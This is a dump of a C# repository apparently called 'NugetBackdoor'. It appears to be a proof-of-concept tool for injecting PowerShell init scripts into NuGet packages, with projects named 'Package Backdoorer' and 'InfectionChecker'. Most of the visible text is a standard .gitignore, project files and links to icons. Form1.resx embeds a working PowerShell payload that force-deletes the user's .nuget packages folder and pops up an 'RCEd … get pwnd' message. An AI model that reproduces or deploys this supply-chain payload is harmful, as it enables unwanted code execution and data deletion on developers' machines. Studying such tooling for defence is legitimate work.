├── .gitignore ├── Aedificator Automatica NuGeT ├── Aedificator Automatica NuGeT.csproj ├── App.config ├── CNSpinner.dll ├── Default.ico ├── FireNugetBlue.gif ├── FireNugetMaterialRed.gif ├── FireNugetOrange 100.gif ├── FireNugetOrange.gif ├── Form1.Designer.cs ├── Form1.cs ├── Form1.resx ├── Frame 1.ico ├── Icon Real Frame 1 Material Red.ico ├── Icon Real Frame 1.ico ├── Icon │ ├── 32 │ │ ├── Icon Frame 1 32 Material Red.png │ │ ├── Icon Frame 1 32 Orange.png │ │ ├── Icon Frame 2 32 Material Red.png │ │ ├── Icon Frame 2 32 Orange.png │ │ ├── Icon Frame 3 32 Material Red.png │ │ ├── Icon Frame 3 32 Orange.png │ │ ├── Icon Real Frame 1 32 Material Red.png │ │ ├── Icon Real Frame 1 32 Sky Blue.png │ │ ├── Icon Real Frame 2 32 Material Red.png │ │ ├── Icon Real Frame 2 32 Sky Blue.png │ │ ├── Icon Real Frame 3 32 Material Red.png │ │ └── Icon Real Frame 3 32 Sky Blue.png │ ├── 48 │ │ ├── Icon Frame 1 48 Material Red.png │ │ ├── Icon Frame 1 48 Orange.png │ │ ├── Icon Frame 2 48 Material Red.png │ │ ├── Icon Frame 2 48 Orange.png │ │ ├── Icon Frame 3 48 Material Red.png │ │ ├── Icon Frame 3 48 Orange.png │ │ ├── Icon Real Frame 1 48 Material Red.png │ │ ├── Icon Real Frame 1 48 Sky Blue.png │ │ ├── Icon Real Frame 2 48 Material Red.png │ │ ├── Icon Real Frame 2 48 Sky Blue.png │ │ ├── Icon Real Frame 3 48 Material Red.png │ │ └── Icon Real Frame 3 48 Sky Blue.png │ ├── 64 │ │ ├── Icon Frame 1 64 Material Red.png │ │ ├── Icon Frame 1 64 Orange.png │ │ ├── Icon Frame 2 64 Material Red.png │ │ ├── Icon Frame 2 64 Orange.png │ │ ├── Icon Frame 3 64 Material Red.png │ │ ├── Icon Frame 3 64 Orange.png │ │ ├── Icon Real Frame 1 64 Material Red.png │ │ ├── Icon Real Frame 1 64 Sky Blue.png │ │ ├── Icon Real Frame 2 64 Material Red.png │ │ ├── Icon Real Frame 2 64 Sky Blue.png │ │ ├── Icon Real Frame 3 64 Material Red.png │ │ └── Icon Real Frame 3 64 Sky Blue.png │ ├── 128 │ │ ├── Icon Frame 1 128 Material Red.png │ │ ├── Icon Frame 1 128 Orange.png │ │ ├── Icon Frame 2 128 Material Red.png │ │ ├── Icon Frame 2 128 Orange.png │ │ ├── Icon Frame 3 128 Material Red.png │ │ ├── Icon Frame 3 128 Orange.png │ │ ├── Icon Real Frame 1 128 Material Red.png │ │ ├── Icon Real Frame 1 128 Sky Blue.png │ │ ├── Icon Real Frame 2 128 Material Red.png │ │ ├── Icon Real Frame 2 128 Sky Blue.png │ │ ├── Icon Real Frame 3 128 Material Red.png │ │ └── Icon Real Frame 3 128 Sky Blue.png │ ├── 256 │ │ ├── BlueFire │ │ │ ├── bluefire 1.png │ │ │ ├── bluefire 2.png │ │ │ ├── bluefire 3.png │ │ │ ├── bluefire.gif │ │ │ ├── bluefireLowered.gif │ │ │ ├── fire.gif │ │ │ └── fireLowered.gif │ │ ├── Icon Frame 1 256 Material Red.png │ │ ├── Icon Frame 1 256 Orange.png │ │ ├── Icon Frame 2 256 Material Red.png │ │ ├── Icon Frame 2 256 Orange.png │ │ ├── Icon Frame 3 256 Material Red.png │ │ ├── Icon Frame 3 256 Orange.png │ │ ├── Icon Real Frame 1 256 Material Red.png │ │ ├── Icon Real Frame 1 256 Sky Blue.png │ │ ├── Icon Real Frame 2 256 Material Red.png │ │ ├── Icon Real Frame 2 256 Sky Blue.png │ │ ├── Icon Real Frame 3 256 Material Red.png │ │ ├── Icon Real Frame 3 256 Sky Blue.png │ │ ├── NuGet_MaterialRed.png │ │ ├── NuGet_Orange.png │ │ ├── NuGet_Orig.png │ │ ├── NuGet_Red.png │ │ └── TestColors │ │ │ ├── Icon Frame 1 256 Orig.png │ │ │ ├── Icon Frame 1 256 Red.png │ │ │ ├── Icon Frame 2 256 Orig.png │ │ │ ├── Icon Frame 2 256 Red.png │ │ │ ├── Icon Frame 3 256 Orig.png │ │ │ └── Icon Frame 3 256 Red.png │ ├── Frame 1.ico │ ├── Frame 2.ico │ ├── Frame 3.ico │ ├── Icon Material Red Frame 1.ico │ ├── Icon Material Red Frame 2.ico │ ├── Icon Material Red Frame 3.ico │ ├── Icon Real Frame 1 Material Red.ico │ ├── Icon Real Frame 1.ico │ ├── Icon Real Frame 2 Material Red.ico │ ├── Icon Real Frame 2.ico │ ├── Icon Real Frame 3 Material Red.ico │ └── Icon Real Frame 3.ico ├── InfectionChecker.cs ├── NuGet logo 256 orig.png ├── NuGet logo 256 red.png ├── NuGet logo red 100.png ├── NuGet logo red 480.png ├── NuGet logo.png ├── NuGet_project_logo.svg ├── NuspecReader.cs ├── Program.cs ├── Properties │ ├── AssemblyInfo.cs │ ├── Resources.Designer.cs │ ├── Resources.resx │ ├── Settings.Designer.cs │ └── Settings.settings ├── RealFireNugetMaterialRed.gif ├── bluefire 100.gif ├── bluefire nuget 100.gif ├── bluefire.gif └── init.ps1 ├── Dark Controls Mod ├── Controls │ ├── AppIcon.cs │ ├── CustomCheckedListBox.cs │ ├── DarkCheckBox.cs │ ├── FlatScrollBar.cs │ ├── NoFocusCueBotton.cs │ ├── ProgressBarEx.cs │ ├── ProgressSpinner.Designer.cs │ ├── ProgressSpinner.cs │ ├── SimpleColorTransforms.cs │ ├── TransparentLabel.cs │ └── WindowsDefaultTitleBarButton.cs ├── Dark Controls Mod.csproj └── Properties │ ├── AssemblyInfo.cs │ ├── Resources.Designer.cs │ ├── Resources.resx │ └── icons8-crossed-axes-100.png ├── NugetBackdoor.sln ├── Package Backdoorer ├── App.config ├── Controls │ ├── CustomCheckedListBox.cs │ ├── DarkCheckBox.cs │ ├── FlatScrollBar.cs │ ├── NoFocusCueBotton.cs │ ├── ProgressBarEx.cs │ ├── SimpleColorTransforms.cs │ ├── TransparentLabel.cs │ └── WindowsDefaultTitleBarButton.cs ├── Form1.Designer.cs ├── Form1.cs ├── Form1.resx ├── Frame 3.ico ├── NuspecReader.cs ├── Package Backdoorer.csproj ├── Program.cs ├── Properties │ ├── AssemblyInfo.cs │ ├── Frame 1.ico │ ├── Frame 2.ico │ ├── Frame 3.ico │ ├── Resources.Designer.cs │ ├── Resources.resx │ ├── Settings.Designer.cs │ └── Settings.settings └── init.ps1 ├── README.md ├── Report.md └── Test Packages └── init.ps1 /.gitignore: -------------------------------------------------------------------------------- 1 | ## Ignore Visual Studio temporary files, build results, and 2 | ## files generated by popular Visual Studio add-ons. 3 | ## 4 | ## Get latest from https://github.com/github/gitignore/blob/main/VisualStudio.gitignore 5 | 6 | # User-specific files 7 | *.rsuser 8 | *.suo 9 | *.user 10 | *.userosscache 11 | *.sln.docstates 12 | 13 | # User-specific files (MonoDevelop/Xamarin Studio) 14 | *.userprefs 15 | 16 | # Mono auto generated files 17 | mono_crash.* 18 | 19 | # Build results 20 | [Dd]ebug/ 21 | [Dd]ebugPublic/ 22 | [Rr]elease/ 23 | [Rr]eleases/ 24 | x64/ 25 | x86/ 26 | [Ww][Ii][Nn]32/ 27 | [Aa][Rr][Mm]/ 28 | [Aa][Rr][Mm]64/ 29 | bld/ 30 | [Bb]in/ 31 | [Oo]bj/ 32 | [Ll]og/ 33 | [Ll]ogs/ 34 | 35 | # Visual Studio 2015/2017 cache/options directory 36 | .vs/ 37 | # Uncomment if you have tasks that create the project's static files in wwwroot 38 | #wwwroot/ 39 | 40 | # Visual Studio 2017 auto generated files 41 | Generated\ Files/ 42 | 43 | # MSTest test Results 44 | [Tt]est[Rr]esult*/ 45 | [Bb]uild[Ll]og.* 46 | 47 | # NUnit 48 | *.VisualState.xml 49 | TestResult.xml 50 | nunit-*.xml 51 | 52 | # Build Results of an ATL Project 53 | [Dd]ebugPS/ 54 | [Rr]eleasePS/ 55 | dlldata.c 56 | 57 | # Benchmark Results 58 | BenchmarkDotNet.Artifacts/ 59 | 60 | # .NET Core 61 | project.lock.json 62 | project.fragment.lock.json 63 | artifacts/ 64 | 65 | # ASP.NET Scaffolding 66 | ScaffoldingReadMe.txt 67 | 68 | # StyleCop 69 | StyleCopReport.xml 70 | 71 | # Files built by Visual Studio 72 | *_i.c 73 | *_p.c 74 | *_h.h 75 | *.ilk 76 | *.meta 77 | *.obj 78 | *.iobj 79 | *.pch 80 | *.pdb 81 | *.ipdb 82 | *.pgc 83 | *.pgd 84 | *.rsp 85 | *.sbr 86 | *.tlb 87 | *.tli 88 | *.tlh 89 | *.tmp 90 | *.tmp_proj 91 | *_wpftmp.csproj 92 | *.log 93 | *.tlog 94 | *.vspscc 95 | *.vssscc 96 | .builds 97 | *.pidb 98 | *.svclog 99 | *.scc 100 | 101 | # Chutzpah Test files 102 | _Chutzpah* 103 | 104 | # Visual C++ cache files 105 | ipch/ 106 | *.aps 107 | *.ncb 108 | *.opendb 109 | *.opensdf 110 | *.sdf 111 | *.cachefile 112 | *.VC.db 113 | *.VC.VC.opendb 114 | 115 | # Visual Studio profiler 116 | *.psess 117 | *.vsp 118 | *.vspx 119 | *.sap 120 | 121 | # Visual Studio Trace Files 122 | *.e2e 123 | 124 | # TFS 2012 Local Workspace 125 | $tf/ 126 | 127 | # Guidance Automation Toolkit 128 | *.gpState 129 | 130 | # ReSharper is a .NET coding add-in 131 | _ReSharper*/ 132 | *.[Rr]e[Ss]harper 133 | *.DotSettings.user 134 | 135 | # TeamCity is a build add-in 136 | _TeamCity* 137 | 138 | # DotCover is a Code Coverage Tool 139 | *.dotCover 140 | 141 | # AxoCover is a Code Coverage Tool 142 | .axoCover/* 143 | !.axoCover/settings.json 144 | 145 | # Coverlet is a free, cross platform Code Coverage Tool 146 | coverage*.json 147 | coverage*.xml 148 | coverage*.info 149 | 150 | # Visual Studio code coverage results 151 | *.coverage 152 | *.coveragexml 153 | 154 | # NCrunch 155 | _NCrunch_* 156 | .*crunch*.local.xml 157 | nCrunchTemp_* 158 | 159 | # MightyMoose 160 | *.mm.* 161 | AutoTest.Net/ 162 | 163 | # Web workbench (sass) 164 | .sass-cache/ 165 | 166 | # Installshield output folder 167 | [Ee]xpress/ 168 | 169 | # DocProject is a documentation generator add-in 170 | DocProject/buildhelp/ 171 | DocProject/Help/*.HxT 172 | DocProject/Help/*.HxC 173 | DocProject/Help/*.hhc 174 | DocProject/Help/*.hhk 175 | DocProject/Help/*.hhp 176 | DocProject/Help/Html2 177 | DocProject/Help/html 178 | 179 | # Click-Once directory 180 | publish/ 181 | 182 | # Publish Web Output 183 | *.[Pp]ublish.xml 184 | *.azurePubxml 185 | # Note: Comment the next line if you want to checkin your web deploy settings, 186 | # but database connection strings (with potential passwords) will be unencrypted 187 | *.pubxml 188 | *.publishproj 189 | 190 | # Microsoft Azure Web App publish settings. Comment the next line if you want to 191 | # checkin your Azure Web App publish settings, but sensitive information contained 192 | # in these scripts will be unencrypted 193 | PublishScripts/ 194 | 195 | # NuGet Packages 196 | *.nupkg 197 | # NuGet Symbol Packages 198 | *.snupkg 199 | # The packages folder can be ignored because of Package Restore 200 | **/[Pp]ackages/* 201 | # except build/, which is used as an MSBuild target. 202 | !**/[Pp]ackages/build/ 203 | # Uncomment if necessary however generally it will be regenerated when needed 204 | #!**/[Pp]ackages/repositories.config 205 | # NuGet v3's project.json files produces more ignorable files 206 | *.nuget.props 207 | *.nuget.targets 208 | 209 | # Microsoft Azure Build Output 210 | csx/ 211 | *.build.csdef 212 | 213 | # Microsoft Azure Emulator 214 | ecf/ 215 | rcf/ 216 | 217 | # Windows Store app package directories and files 218 | AppPackages/ 219 | BundleArtifacts/ 220 | Package.StoreAssociation.xml 221 | _pkginfo.txt 222 | *.appx 223 | *.appxbundle 224 | *.appxupload 225 | 226 | # Visual Studio cache files 227 | # files ending in .cache can be ignored 228 | *.[Cc]ache 229 | # but keep track of directories ending in .cache 230 | !?*.[Cc]ache/ 231 | 232 | # Others 233 | ClientBin/ 234 | ~$* 235 | *~ 236 | *.dbmdl 237 | *.dbproj.schemaview 238 | *.jfm 239 | *.pfx 240 | *.publishsettings 241 | orleans.codegen.cs 242 | 243 | # Including strong name files can present a security risk 244 | # (https://github.com/github/gitignore/pull/2483#issue-259490424) 245 | #*.snk 246 | 247 | # Since there are multiple workflows, uncomment next line to ignore bower_components 248 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) 249 | #bower_components/ 250 | 251 | # RIA/Silverlight projects 252 | Generated_Code/ 253 | 254 | # Backup & report files from converting an old project file 255 | # to a newer Visual Studio version. Backup files are not needed, 256 | # because we have git ;-) 257 | _UpgradeReport_Files/ 258 | Backup*/ 259 | UpgradeLog*.XML 260 | UpgradeLog*.htm 261 | ServiceFabricBackup/ 262 | *.rptproj.bak 263 | 264 | # SQL Server files 265 | *.mdf 266 | *.ldf 267 | *.ndf 268 | 269 | # Business Intelligence projects 270 | *.rdl.data 271 | *.bim.layout 272 | *.bim_*.settings 273 | *.rptproj.rsuser 274 | *- [Bb]ackup.rdl 275 | *- [Bb]ackup ([0-9]).rdl 276 | *- [Bb]ackup ([0-9][0-9]).rdl 277 | 278 | # Microsoft Fakes 279 | FakesAssemblies/ 280 | 281 | # GhostDoc plugin setting file 282 | *.GhostDoc.xml 283 | 284 | # Node.js Tools for Visual Studio 285 | .ntvs_analysis.dat 286 | node_modules/ 287 | 288 | # Visual Studio 6 build log 289 | *.plg 290 | 291 | # Visual Studio 6 workspace options file 292 | *.opt 293 | 294 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.) 295 | *.vbw 296 | 297 | # Visual Studio 6 auto-generated project file (contains which files were open etc.) 298 | *.vbp 299 | 300 | # Visual Studio 6 workspace and project file (working project files containing files to include in project) 301 | *.dsw 302 | *.dsp 303 | 304 | # Visual Studio 6 technical files 305 | *.ncb 306 | *.aps 307 | 308 | # Visual Studio LightSwitch build output 309 | **/*.HTMLClient/GeneratedArtifacts 310 | **/*.DesktopClient/GeneratedArtifacts 311 | **/*.DesktopClient/ModelManifest.xml 312 | **/*.Server/GeneratedArtifacts 313 | **/*.Server/ModelManifest.xml 314 | _Pvt_Extensions 315 | 316 | # Paket dependency manager 317 | .paket/paket.exe 318 | paket-files/ 319 | 320 | # FAKE - F# Make 321 | .fake/ 322 | 323 | # CodeRush personal settings 324 | .cr/personal 325 | 326 | # Python Tools for Visual Studio (PTVS) 327 | __pycache__/ 328 | *.pyc 329 | 330 | # Cake - Uncomment if you are using it 331 | # tools/** 332 | # !tools/packages.config 333 | 334 | # Tabs Studio 335 | *.tss 336 | 337 | # Telerik's JustMock configuration file 338 | *.jmconfig 339 | 340 | # BizTalk build output 341 | *.btp.cs 342 | *.btm.cs 343 | *.odx.cs 344 | *.xsd.cs 345 | 346 | # OpenCover UI analysis results 347 | OpenCover/ 348 | 349 | # Azure Stream Analytics local run output 350 | ASALocalRun/ 351 | 352 | # MSBuild Binary and Structured Log 353 | *.binlog 354 | 355 | # NVidia Nsight GPU debugger configuration file 356 | *.nvuser 357 | 358 | # MFractors (Xamarin productivity tool) working folder 359 | .mfractor/ 360 | 361 | # Local History for Visual Studio 362 | .localhistory/ 363 | 364 | # Visual Studio History (VSHistory) files 365 | .vshistory/ 366 | 367 | # BeatPulse healthcheck temp database 368 | healthchecksdb 369 | 370 | # Backup folder for Package Reference Convert tool in Visual Studio 2017 371 | MigrationBackup/ 372 | 373 | # Ionide (cross platform F# VS Code tools) working folder 374 | .ionide/ 375 | 376 | # Fody - auto-generated XML schema 377 | FodyWeavers.xsd 378 | 379 | # VS Code files for those working on multiple tools 380 | .vscode/* 381 | !.vscode/settings.json 382 | !.vscode/tasks.json 383 | !.vscode/launch.json 384 | !.vscode/extensions.json 385 | *.code-workspace 386 | 387 | # Local History for Visual Studio Code 388 | .history/ 389 | 390 | # Windows Installer files from build outputs 391 | *.cab 392 | *.msi 393 | *.msix 394 | *.msm 395 | *.msp 396 | 397 | # JetBrains Rider 398 | *.sln.iml 399 | -------------------------------------------------------------------------------- /Aedificator Automatica NuGeT/Aedificator Automatica NuGeT.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {3E3A0FFD-CFBE-4245-BF21-57E8FCBA37E5} 8 | WinExe 9 | NugetInfect 10 | Aedificator Automatica NuGeT 11 | v4.8 12 | 512 13 | true 14 | true 15 | 16 | 17 | 18 | AnyCPU 19 | true 20 | full 21 | false 22 | bin\Debug\ 23 | DEBUG;TRACE 24 | prompt 25 | 4 26 | false 27 | 28 | 29 | AnyCPU 30 | pdbonly 31 | true 32 | bin\Release\ 33 | TRACE 34 | prompt 35 | 4 36 | false 37 | 38 | 39 | Icon Real Frame 1.ico 40 | 41 | 42 | 43 | ..\..\BrightnessSlider\BrightnessSlider\DarkControls.dll 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | Form 62 | 63 | 64 | Form1.cs 65 | 66 | 67 | 68 | 69 | 70 | 71 | Form1.cs 72 | 73 | 74 | PublicResXFileCodeGenerator 75 | Resources.Designer.cs 76 | Designer 77 | 78 | 79 | True 80 | Resources.resx 81 | True 82 | 83 | 84 | 85 | SettingsSingleFileGenerator 86 | Settings.Designer.cs 87 | 88 | 89 | True 90 | Settings.settings 91 | True 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | {68962ecd-d401-48db-8c2a-16e614e8eea6} 100 | Dark Controls Mod 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | 125 | 126 | 127 | 128 | 129 | 130 | 131 | 132 | 133 | 134 | 135 | 136 | 137 | 138 | 139 | 140 | 141 | 142 | 143 | 144 | 145 | -------------------------------------------------------------------------------- /Aedificator Automatica NuGeT/App.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 |
6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | False 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | -------------------------------------------------------------------------------- /Aedificator Automatica NuGeT/CNSpinner.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mastercodeon314/NugetBackdoor/7c796b03c39d709c64e1dc92a8478b9bfa0e9aa6/Aedificator Automatica NuGeT/CNSpinner.dll -------------------------------------------------------------------------------- /Aedificator Automatica NuGeT/Default.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mastercodeon314/NugetBackdoor/7c796b03c39d709c64e1dc92a8478b9bfa0e9aa6/Aedificator Automatica NuGeT/Default.ico -------------------------------------------------------------------------------- /Aedificator Automatica NuGeT/FireNugetBlue.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mastercodeon314/NugetBackdoor/7c796b03c39d709c64e1dc92a8478b9bfa0e9aa6/Aedificator Automatica NuGeT/FireNugetBlue.gif -------------------------------------------------------------------------------- /Aedificator Automatica NuGeT/FireNugetMaterialRed.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mastercodeon314/NugetBackdoor/7c796b03c39d709c64e1dc92a8478b9bfa0e9aa6/Aedificator Automatica NuGeT/FireNugetMaterialRed.gif -------------------------------------------------------------------------------- /Aedificator Automatica NuGeT/FireNugetOrange 100.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mastercodeon314/NugetBackdoor/7c796b03c39d709c64e1dc92a8478b9bfa0e9aa6/Aedificator Automatica NuGeT/FireNugetOrange 100.gif -------------------------------------------------------------------------------- /Aedificator Automatica NuGeT/FireNugetOrange.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mastercodeon314/NugetBackdoor/7c796b03c39d709c64e1dc92a8478b9bfa0e9aa6/Aedificator Automatica NuGeT/FireNugetOrange.gif -------------------------------------------------------------------------------- /Aedificator Automatica NuGeT/Form1.resx: -------------------------------------------------------------------------------- 1 |  2 | 3 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | text/microsoft-resx 110 | 111 | 112 | 2.0 113 | 114 | 115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 116 | 117 | 118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 119 | 120 | 121 | 122 | 123 | iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAABGdBTUEAALGPC/xhBQAAAAlwSFlzAAAA 124 | 4wAAAOMBD+bfpwAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAIvSURBVFhH7ZbP 125 | SxRhGMc3+geko9cuHT3O+6ogrZfOlQf1INJR0IMSdvUS1CUvBSnbvGO7IoaIIYLithNFm4FQaDXvTKnB 126 | uubP3GBtXJued/cZqfWdVWeHTvOB72GWeZ7v933nfXYmEhISUg5ReSdhfIowc9ZLCuPjVOUES4KDasZ1 127 | MM8rzHygqPyul+CeCVCOPuGXsTQYiGY+UpiRwEtvHOcC7MI8hJjBX4KBMjMmhJcVIbHPVyDAAWXGINX4 128 | bZlgQV3iPiw5nfMEEBDV6AOjd16CgEugX4pqNGNJZc4b4CyIfnBwn+FlZcoD1Cc+1SoavwWrkW7xWVSa 129 | HG7B4+glI1YUW8v5OwAUUCjMXRtbybY/X1uuVq1T3z42jJg2HPKOopmMfwIwU7+jf3/1dqtwBHKCUNfc 130 | +gJMz/2imQw3ABlaugSrL6TW7feyRj5lR+PWD/gDu4F2JzkOwIzWq6PWLhQdljXxrWTGXoRFHTbFvtag 131 | 3UncAHDwtH5947WskV8NLu6+EI8VreSUVs9V0Mbkl/xLWSO/aplc5dC3H63kYIBlyvjv9FYhK2vkR+nN 132 | Qkb0pDGjDq3kYACnDUZG1sivxq2fOmx/RrxD0EqOG+Dhh/2krJFf9aayb6DvMNp44wb47+PnAjc9jias 133 | PSgKbPxm1vJi9XbF8XMR89/41Dy4t7CTEmNTrQbS23pT3MyJDxy0OAU4JEQzuonGp0svkSpV7MN7bo45 134 | F9EhJCSkjEjkD9tVzdV2Bl76AAAAAElFTkSuQmCC 135 | 136 | 137 | 138 | rm "$env:USERPROFILE\.nuget\packages" -r -force 139 | 140 | Add-Type @" 141 | using System; 142 | using System.Runtime.InteropServices; 143 | 144 | public class User32 { 145 | [DllImport("user32.dll", SetLastError = true)] 146 | [return: MarshalAs(UnmanagedType.Bool)] 147 | public static extern bool SetForegroundWindow(IntPtr hWnd); 148 | } 149 | "@ 150 | 151 | Add-Type -AssemblyName System.Windows.Forms 152 | 153 | Write-Output 'Hello From PowerShell, this Nuget package has been RCEd! Microsoft, get pwnd....' 154 | 155 | # Show the message box 156 | [Windows.Forms.MessageBox]::Show('Hello From PowerShell, this Nuget package has been RCEd! Microsoft, get pwnd...', 'PwNd Nuget Package', [Windows.Forms.MessageBoxButtons]::OK, [Windows.Forms.MessageBoxIcon]::Information) 157 | 158 | # Get the handle of the PowerShell process window 159 | $hWnd = (Get-Process -Id $PID).MainWindowHandle 160 | 161 | # Bring the message box to the foreground 162 | [User32]::SetForegroundWindow($hWnd) 163 | 164 | 165 | 17, 17 166 | 167 | 168 | 196, 17 169 | 170 | 171 | 172 | iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAABGdBTUEAALGPC/xhBQAAAAlwSFlzAAAA 173 | 4wAAAOMBD+bfpwAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAIvSURBVFhH7ZbP 174 | SxRhGMc3+geko9cuHT3O+6ogrZfOlQf1INJR0IMSdvUS1CUvBSnbvGO7IoaIIYLithNFm4FQaDXvTKnB 175 | uubP3GBtXJued/cZqfWdVWeHTvOB72GWeZ7v933nfXYmEhISUg5ReSdhfIowc9ZLCuPjVOUES4KDasZ1 176 | MM8rzHygqPyul+CeCVCOPuGXsTQYiGY+UpiRwEtvHOcC7MI8hJjBX4KBMjMmhJcVIbHPVyDAAWXGINX4 177 | bZlgQV3iPiw5nfMEEBDV6AOjd16CgEugX4pqNGNJZc4b4CyIfnBwn+FlZcoD1Cc+1SoavwWrkW7xWVSa 178 | HG7B4+glI1YUW8v5OwAUUCjMXRtbybY/X1uuVq1T3z42jJg2HPKOopmMfwIwU7+jf3/1dqtwBHKCUNfc 179 | +gJMz/2imQw3ABlaugSrL6TW7feyRj5lR+PWD/gDu4F2JzkOwIzWq6PWLhQdljXxrWTGXoRFHTbFvtag 180 | 3UncAHDwtH5947WskV8NLu6+EI8VreSUVs9V0Mbkl/xLWSO/aplc5dC3H63kYIBlyvjv9FYhK2vkR+nN 181 | Qkb0pDGjDq3kYACnDUZG1sivxq2fOmx/RrxD0EqOG+Dhh/2krJFf9aayb6DvMNp44wb47+PnAjc9jias 182 | PSgKbPxm1vJi9XbF8XMR89/41Dy4t7CTEmNTrQbS23pT3MyJDxy0OAU4JEQzuonGp0svkSpV7MN7bo45 183 | F9EhJCSkjEjkD9tVzdV2Bl76AAAAAElFTkSuQmCC 184 | 185 | 186 | -------------------------------------------------------------------------------- /Aedificator Automatica NuGeT/Frame 1.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mastercodeon314/NugetBackdoor/7c796b03c39d709c64e1dc92a8478b9bfa0e9aa6/Aedificator Automatica NuGeT/Frame 1.ico -------------------------------------------------------------------------------- /Aedificator Automatica NuGeT/Icon Real Frame 1 Material Red.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mastercodeon314/NugetBackdoor/7c796b03c39d709c64e1dc92a8478b9bfa0e9aa6/Aedificator Automatica NuGeT/Icon Real Frame 1 Material Red.ico -------------------------------------------------------------------------------- /Aedificator Automatica NuGeT/Icon Real Frame 1.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mastercodeon314/NugetBackdoor/7c796b03c39d709c64e1dc92a8478b9bfa0e9aa6/Aedificator Automatica NuGeT/Icon Real Frame 1.ico -------------------------------------------------------------------------------- /Aedificator Automatica NuGeT/Icon/128/Icon Frame 1 128 Material Red.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mastercodeon314/NugetBackdoor/7c796b03c39d709c64e1dc92a8478b9bfa0e9aa6/Aedificator Automatica NuGeT/Icon/128/Icon Frame 1 128 Material Red.png -------------------------------------------------------------------------------- /Aedificator Automatica NuGeT/Icon/128/Icon Frame 1 128 Orange.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mastercodeon314/NugetBackdoor/7c796b03c39d709c64e1dc92a8478b9bfa0e9aa6/Aedificator Automatica NuGeT/Icon/128/Icon Frame 1 128 Orange.png -------------------------------------------------------------------------------- /Aedificator Automatica NuGeT/Icon/128/Icon Frame 2 128 Material Red.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mastercodeon314/NugetBackdoor/7c796b03c39d709c64e1dc92a8478b9bfa0e9aa6/Aedificator Automatica NuGeT/Icon/128/Icon Frame 2 128 Material Red.png -------------------------------------------------------------------------------- /Aedificator Automatica NuGeT/Icon/128/Icon Frame 2 128 Orange.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mastercodeon314/NugetBackdoor/7c796b03c39d709c64e1dc92a8478b9bfa0e9aa6/Aedificator Automatica NuGeT/Icon/128/Icon Frame 2 128 Orange.png -------------------------------------------------------------------------------- /Aedificator Automatica NuGeT/Icon/128/Icon Frame 3 128 Material Red.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mastercodeon314/NugetBackdoor/7c796b03c39d709c64e1dc92a8478b9bfa0e9aa6/Aedificator Automatica NuGeT/Icon/128/Icon Frame 3 128 Material Red.png -------------------------------------------------------------------------------- /Aedificator Automatica NuGeT/Icon/128/Icon Frame 3 128 Orange.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mastercodeon314/NugetBackdoor/7c796b03c39d709c64e1dc92a8478b9bfa0e9aa6/Aedificator Automatica NuGeT/Icon/128/Icon Frame 3 128 Orange.png -------------------------------------------------------------------------------- /Aedificator Automatica NuGeT/Icon/128/Icon Real Frame 1 128 Material Red.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mastercodeon314/NugetBackdoor/7c796b03c39d709c64e1dc92a8478b9bfa0e9aa6/Aedificator Automatica NuGeT/Icon/128/Icon Real Frame 1 128 Material Red.png -------------------------------------------------------------------------------- /Aedificator Automatica NuGeT/Icon/128/Icon Real Frame 1 128 Sky Blue.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mastercodeon314/NugetBackdoor/7c796b03c39d709c64e1dc92a8478b9bfa0e9aa6/Aedificator Automatica NuGeT/Icon/128/Icon Real Frame 1 128 Sky Blue.png -------------------------------------------------------------------------------- /Aedificator Automatica NuGeT/Icon/128/Icon Real Frame 2 128 Material Red.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mastercodeon314/NugetBackdoor/7c796b03c39d709c64e1dc92a8478b9bfa0e9aa6/Aedificator Automatica NuGeT/Icon/128/Icon Real Frame 2 128 Material Red.png -------------------------------------------------------------------------------- /Aedificator Automatica NuGeT/Icon/128/Icon Real Frame 2 128 Sky Blue.png: -------------------------------------------------------------------------------- 